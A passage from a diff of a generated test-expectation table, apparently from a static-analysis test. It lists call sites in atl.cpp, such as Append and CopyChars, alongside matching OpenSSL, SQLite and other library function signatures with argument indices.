(EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| atl.cpp:922:10:922:15 | Append | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| atl.cpp:922:10:922:15 | Append | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| atl.cpp:922:10:922:15 | Append | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | atl.cpp:922:10:922:15 | Append | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| atl.cpp:922:10:922:15 | Append | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| atl.cpp:922:10:922:15 | Append | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| atl.cpp:922:10:922:15 | Append | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| atl.cpp:922:10:922:15 | Append | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| atl.cpp:922:10:922:15 | Append | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| atl.cpp:922:10:922:15 | Append | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| atl.cpp:922:10:922:15 | Append | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| atl.cpp:922:10:922:15 | Append | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| atl.cpp:922:10:922:15 | Append | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| atl.cpp:922:10:922:15 | Append | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| atl.cpp:922:10:922:15 | Append | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| atl.cpp:922:10:922:15 | Append | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| atl.cpp:922:10:922:15 | Append | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| atl.cpp:922:10:922:15 | Append | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| atl.cpp:922:10:922:15 | Append | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| atl.cpp:922:10:922:15 | Append | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| atl.cpp:922:10:922:15 | Append | (RSA *,int) | | RSA_clear_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (RSA *,int) | | RSA_set_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| atl.cpp:922:10:922:15 | Append | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| atl.cpp:922:10:922:15 | Append | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| atl.cpp:922:10:922:15 | Append | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL *,int) | | SSL_key_update | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL *,int) | | SSL_set_purpose | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL *,int) | | SSL_set_read_ahead | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL *,int) | | SSL_set_security_level | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL *,int) | | SSL_set_shutdown | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL *,int) | | SSL_set_trust | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL *,int) | | SSL_set_verify_depth | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL_CTX *,int) | | ssl_md | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| atl.cpp:922:10:922:15 | Append | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| atl.cpp:922:10:922:15 | Append | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| atl.cpp:922:10:922:15 | Append | (X509 *,int) | | X509_delete_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (X509 *,int) | | X509_self_signed | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| atl.cpp:922:10:922:15 | Append | (acttab *,int) | | acttab_insert | 1 | +| atl.cpp:922:10:922:15 | Append | (char *,int) | | PEM_proc_type | 1 | | atl.cpp:922:10:922:15 | Append | (char,int) | CStringT | CStringT | 1 | +| atl.cpp:922:10:922:15 | Append | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| atl.cpp:922:10:922:15 | Append | (const BIGNUM *,int) | | BN_get_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| atl.cpp:922:10:922:15 | Append | (const BIO *,int) | | BIO_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const BIO *,int) | | BIO_test_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| atl.cpp:922:10:922:15 | Append | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| atl.cpp:922:10:922:15 | Append | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const DH *,int) | | DH_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const DH *,int) | | DH_test_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (const DH *,int) | | ossl_dh_dup | 1 | +| atl.cpp:922:10:922:15 | Append | (const DSA *,int) | | DSA_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const DSA *,int) | | DSA_test_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (const DSA *,int) | | ossl_dsa_dup | 1 | +| atl.cpp:922:10:922:15 | Append | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| atl.cpp:922:10:922:15 | Append | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| atl.cpp:922:10:922:15 | Append | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| atl.cpp:922:10:922:15 | Append | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| atl.cpp:922:10:922:15 | Append | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| atl.cpp:922:10:922:15 | Append | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| atl.cpp:922:10:922:15 | Append | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| atl.cpp:922:10:922:15 | Append | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| atl.cpp:922:10:922:15 | Append | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| atl.cpp:922:10:922:15 | Append | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| atl.cpp:922:10:922:15 | Append | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| atl.cpp:922:10:922:15 | Append | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| atl.cpp:922:10:922:15 | Append | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| atl.cpp:922:10:922:15 | Append | (const RSA *,int) | | RSA_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const RSA *,int) | | RSA_test_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (const RSA *,int) | | ossl_rsa_dup | 1 | +| atl.cpp:922:10:922:15 | Append | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| atl.cpp:922:10:922:15 | Append | (const SSL *,int) | | SSL_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| atl.cpp:922:10:922:15 | Append | (const UI *,int) | | UI_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const X509 *,int) | | X509_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const X509 *,int) | | X509_get_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| atl.cpp:922:10:922:15 | Append | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| atl.cpp:922:10:922:15 | Append | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| atl.cpp:922:10:922:15 | Append | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| atl.cpp:922:10:922:15 | Append | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| atl.cpp:922:10:922:15 | Append | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | atl.cpp:922:10:922:15 | Append | (const XCHAR *,int) | CStringT | CStringT | 1 | | atl.cpp:922:10:922:15 | Append | (const YCHAR *,int) | CStringT | CStringT | 1 | +| atl.cpp:922:10:922:15 | Append | (const char *,int) | | DH_meth_new | 1 | +| atl.cpp:922:10:922:15 | Append | (const char *,int) | | DSA_meth_new | 1 | +| atl.cpp:922:10:922:15 | Append | (const char *,int) | | Jim_StrDupLen | 1 | +| atl.cpp:922:10:922:15 | Append | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| atl.cpp:922:10:922:15 | Append | (const char *,int) | | RSA_meth_new | 1 | +| atl.cpp:922:10:922:15 | Append | (const char *,int) | | parse_yesno | 1 | +| atl.cpp:922:10:922:15 | Append | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| atl.cpp:922:10:922:15 | Append | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| atl.cpp:922:10:922:15 | Append | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| atl.cpp:922:10:922:15 | Append | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| atl.cpp:922:10:922:15 | Append | (int *,int) | | X509_PURPOSE_set | 1 | +| atl.cpp:922:10:922:15 | Append | (int *,int) | | X509_TRUST_set | 1 | +| atl.cpp:922:10:922:15 | Append | (int,int) | | BN_security_bits | 1 | +| atl.cpp:922:10:922:15 | Append | (int,int) | | EVP_MD_meth_new | 1 | +| atl.cpp:922:10:922:15 | Append | (int,int) | | EVP_PKEY_meth_new | 1 | +| atl.cpp:922:10:922:15 | Append | (int,int) | | acttab_alloc | 1 | +| atl.cpp:922:10:922:15 | Append | (rule *,int) | | Configlist_add | 1 | +| atl.cpp:922:10:922:15 | Append | (rule *,int) | | Configlist_addbasis | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| atl.cpp:922:10:922:15 | Append | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| atl.cpp:922:10:922:15 | Append | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| atl.cpp:922:10:922:15 | Append | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| atl.cpp:922:10:922:15 | Append | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (uint16_t,int) | | tls1_group_id2nid | 1 | +| atl.cpp:922:10:922:15 | Append | (unsigned char *,int) | | RAND_bytes | 1 | +| atl.cpp:922:10:922:15 | Append | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| atl.cpp:922:10:922:15 | Append | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| atl.cpp:922:10:922:15 | Append | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| atl.cpp:922:10:922:15 | Append | (void *,int) | | DSO_dsobyaddr | 1 | +| atl.cpp:922:10:922:15 | Append | (void *,int) | | sqlite3_realloc | 1 | | atl.cpp:922:10:922:15 | Append | (wchar_t,int) | CStringT | CStringT | 1 | | atl.cpp:923:10:923:15 | Append | (PCXSTR) | | operator+= | 0 | | atl.cpp:923:10:923:15 | Append | (PCXSTR) | CSimpleStringT | operator+= | 0 | | atl.cpp:923:10:923:15 | Append | (PCXSTR) | CStringT | operator= | 0 | +| atl.cpp:927:17:927:25 | CopyChars | (ASN1_BIT_STRING *,int,int) | | ASN1_BIT_STRING_set_bit | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (ASN1_BIT_STRING *,unsigned char *,int) | | ASN1_BIT_STRING_set | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (ASN1_OCTET_STRING **,const unsigned char *,int) | | ossl_cmp_asn1_octet_string_set1_bytes | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (ASN1_OCTET_STRING *,const unsigned char *,int) | | ASN1_OCTET_STRING_set | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (ASN1_STRING *,const void *,int) | | ASN1_STRING_set | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (ASN1_STRING *,void *,int) | | ASN1_STRING_set0 | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (ASN1_TIME *,tm *,int) | | ossl_asn1_time_from_tm | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (ASN1_TYPE *,unsigned char *,int) | | ASN1_TYPE_set_octetstring | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_item_embed_free | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_primitive_free | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (BIGNUM *,const BIGNUM *,int) | | BN_lshift | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (BIGNUM *,const BIGNUM *,int) | | BN_rshift | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (BIGNUM *,const BIGNUM *,int) | | BN_with_flags | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (BIGNUM *,const BIGNUM *,int) | | bn_lshift_fixed_top | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (BIGNUM *,const BIGNUM *,int) | | bn_rshift_fixed_top | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (BIGNUM *,const unsigned long *,int) | | bn_set_static_words | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (BIGNUM *,const unsigned long *,int) | | bn_set_words | 2 | +| atl.cpp:927:17:927:25 | 